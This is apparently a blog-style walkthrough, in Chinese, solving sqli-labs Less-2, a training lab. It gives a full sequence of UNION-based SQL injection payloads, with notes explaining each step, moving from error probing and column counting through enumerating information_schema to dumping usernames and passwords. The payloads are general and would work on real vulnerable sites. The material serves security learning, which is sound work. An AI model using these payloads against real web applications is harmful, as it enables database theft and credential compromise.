id=1
#1.正常显示
id=1'
#2.错误回显
#You have an error in your SQL syntax; check the manual that corresponds to your MariaDB #server version for the right syntax to use near '' LIMIT 0,1' at line 1
#'' LIMIT 0,1'表明:查询语句应为id传参应为int型,不需要'做闭合
#MariaDB server显示数据库信息
id=1 --+
#3.注释limit 0,1
#MySQL注释方法
#①/*注释内容*/
#②-- (前面有空格)URL中空格需要转义--+或者--%20
#③#
id=1 order by 4 --+
#4.猜字段数量
#Unknown column '4' in 'order clause'
#错误情况下,会给出如上信息;正确情况下,正常显示
id=1 and 1=2 union select 1,2,3 --+
#5.确定回显位置
id=1 and 1=2 union select 1,version(),database() --+
#6.查看版本信息verion();当前数据库database();当前用户user()
id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
#7.调用information_schema.schemata返回数据库信息
#group_concat()函数,拼接所有非null字符串;null的情况下,返回null
#convert()函数,转换类型
id=1 and 1=2 union select 1,group_concat(table_name),group_concat(table_schema) from information_schema.tables--+
#8.调用information_schema.tables返回表信息
#table_name表示:表名
#table_schema表示:数据库名
id=1 and 1=2 union select 1,table_name,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273--+
#9.调用information_schema.columns返回表中列的信息
#table_schema表示:数据库名。用作where查询时,需要进行十六进制编码(hex编码)
#table_name表示:表名。用作where查询时,需要进行十六进制编码(hex编码)
#column_name表示:列名
#privileges表示权限:增删查改
id=1 and 1=2 union select 1,2,concat_ws(0x2b,username,password) from users--+
#10.输出关键表信息
#concat_ws()函数,以指定字符【拼接】指定内容
#0x2b表示:+
sqli-labs-master【Less-2】解题过程
最新推荐文章于 2024-07-22 19:30:02 发布